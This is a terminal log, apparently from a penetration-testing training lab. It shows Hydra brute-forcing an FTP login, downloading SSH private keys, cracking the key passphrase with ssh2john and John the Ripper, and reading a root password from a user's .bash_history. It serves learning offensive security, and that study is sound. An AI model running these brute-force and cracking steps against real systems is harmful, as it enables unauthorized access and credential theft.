┌──(root㉿kali)-[~/cpts/password-attacks]
└─# hydra -L username.list -P password.list ftp://10.129.172.147
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-12 00:19:01
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21112 login tries (l:104/p:203), ~1320 tries per task
[DATA] attacking ftp://10.129.172.147:21/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 20824 to do in 01:13h, 16 active
[STATUS] 266.67 tries/min, 800 tries in 00:03h, 20312 to do in 01:17h, 16 active
[STATUS] 267.43 tries/min, 1872 tries in 00:07h, 19240 to do in 01:12h, 16 active
[STATUS] 273.13 tries/min, 4097 tries in 00:15h, 17015 to do in 01:03h, 16 active
[STATUS] 272.03 tries/min, 8433 tries in 00:31h, 12679 to do in 00:47h, 16 active
[STATUS] 271.13 tries/min, 12743 tries in 00:47h, 8369 to do in 00:31h, 16 active
[21][ftp] host: 10.129.172.147 login: mike password: 7777777
[STATUS] 271.19 tries/min, 17085 tries in 01:03h, 4027 to do in 00:15h, 16 active
[STATUS] 270.66 tries/min, 18405 tries in 01:08h, 2707 to do in 00:11h, 16 active
[STATUS] 270.52 tries/min, 19748 tries in 01:13h, 1364 to do in 00:06h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-12 01:36:53
We logged into ftp and found some keys:
┌──(root㉿kali)-[~/cpts/password-attacks/ssh-crack]
└─# ftp mike@10.129.202.219
Connected to 10.129.202.219.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||5450|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 554 Feb 09 2022 authorized_keys
-rw------- 1 1000 1000 2546 Feb 09 2022 id_rsa
-rw-r--r-- 1 1000 1000 570 Feb 09 2022 id_rsa.pub
cracked em:
┌──(root㉿kali)-[~/cpts/password-attacks/easy-assessment]
└─# ssh2john id_rsa > id_rsa.john
┌──(root㉿kali)-[~/cpts/password-attacks/easy-assessment]
└─# john --wordlist=../password_mut_ascii.list id_rsa.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
7777777 (id_rsa)
and found the root password in bash_history:
mike@skills-easy:~$ cat .bash_history
vim updater.bash
bash updater.bash
vim updater.bash
apt-cache search gem
sudo gem install -V lolcat
sudo apt-get install fortune
analysis.py -u root -p dgb6fzm0ynk@AME9pqu
rm -rf analysis.py
fortune
man fortune